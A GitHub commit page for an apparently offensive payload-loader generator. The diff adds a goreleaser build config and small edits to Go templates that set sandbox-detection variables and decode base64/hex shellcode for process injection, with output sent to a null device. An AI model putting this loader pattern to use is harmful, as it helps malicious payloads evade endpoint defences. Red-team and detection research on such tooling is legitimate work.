Skip to content
This repository has been archived by the owner on Aug 18, 2023. It is now read-only.

Commit

Permalink
v3.01
Browse files Browse the repository at this point in the history
  • Loading branch information
Tylous committed Oct 15, 2021
1 parent 2b96e3e commit 384e29a
Show file tree
Hide file tree
Showing 3 changed files with 41 additions and 0 deletions.
35 changes: 35 additions & 0 deletions .goreleaser.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
# This is an example goreleaser.yaml file with some sane defaults.
# Make sure to check the documentation at http://goreleaser.com
before:
hooks:
# You may remove this if you don't use go modules.
- go mod download
# you may remove this if you don't need go generate
- go generate ./...
builds:
- env:
- CGO_ENABLED=0
goos:
- "darwin"
- "linux"
- "windows"
goarch:
- "amd64"
archives:
- name_template: "{{ .ProjectName }}_{{ .Version }}_{{ .Os }}_{{ .Arch }}"
format: binary
files:
- LICENSE.txt
- README.md
checksum:
name_template: '{{ .ProjectName }}_checksums.txt'
source:
enabled: false
snapshot:
name_template: "{{ .Tag }}-next"
changelog:
sort: asc
filters:
exclude:
- '^docs:'
- '^test:'
2 changes: 2 additions & 0 deletions Loader/Loader.go
Original file line number Diff line number Diff line change
Expand Up @@ -694,6 +694,7 @@ func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string,
}

if sandbox == true {
Binary.Variables["SandboxOS"] = `"os"`
Binary.Variables["IsDomainJoined"] = Cryptor.VarNumberLength(4, 12)
Binary.Variables["domain"] = Cryptor.VarNumberLength(4, 12)
Binary.Variables["status"] = Cryptor.VarNumberLength(4, 12)
Expand All @@ -720,6 +721,7 @@ func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string,
Binary.Variables["Sandbox"] = ""
Binary.Variables["Sandboxfunction"] = ""
Binary.Variables["SandboxImport"] = ""
Binary.Variables["SandboxOS"] = ""
}

if ETW == false {
Expand Down
4 changes: 4 additions & 0 deletions Struct/Struct.go
Original file line number Diff line number Diff line change
Expand Up @@ -501,6 +501,7 @@ func Binary() string {
"syscall"
"unsafe"
"strconv"
{{.Variables.SandboxOS}}
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
Expand Down Expand Up @@ -972,6 +973,7 @@ func Procces_Injection_DLL() string {
"[loader]/[loader]"
"io/ioutil"
"syscall"
"os"
"time"
"unsafe"
"strconv"
Expand Down Expand Up @@ -1300,6 +1302,7 @@ func Start() {
{{.Variables.hexdata}}, _ := base64.StdEncoding.DecodeString({{.Variables.rawdata}})
{{.Variables.raw_bin}}, _ := hex.DecodeString(string({{.Variables.hexdata}}))
{{.Variables.ReloadRemoteProcess}}({{.Variables.raw_bin}})
os.Stdout, _ = os.Open(os.DevNull)
}
Expand Down Expand Up @@ -1417,6 +1420,7 @@ func Procces_Injection() string {
"time"
"unsafe"
"strconv"
{{.Variables.SandboxOS}}
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
Expand Down

0 comments on commit 384e29a

Please sign in to comment.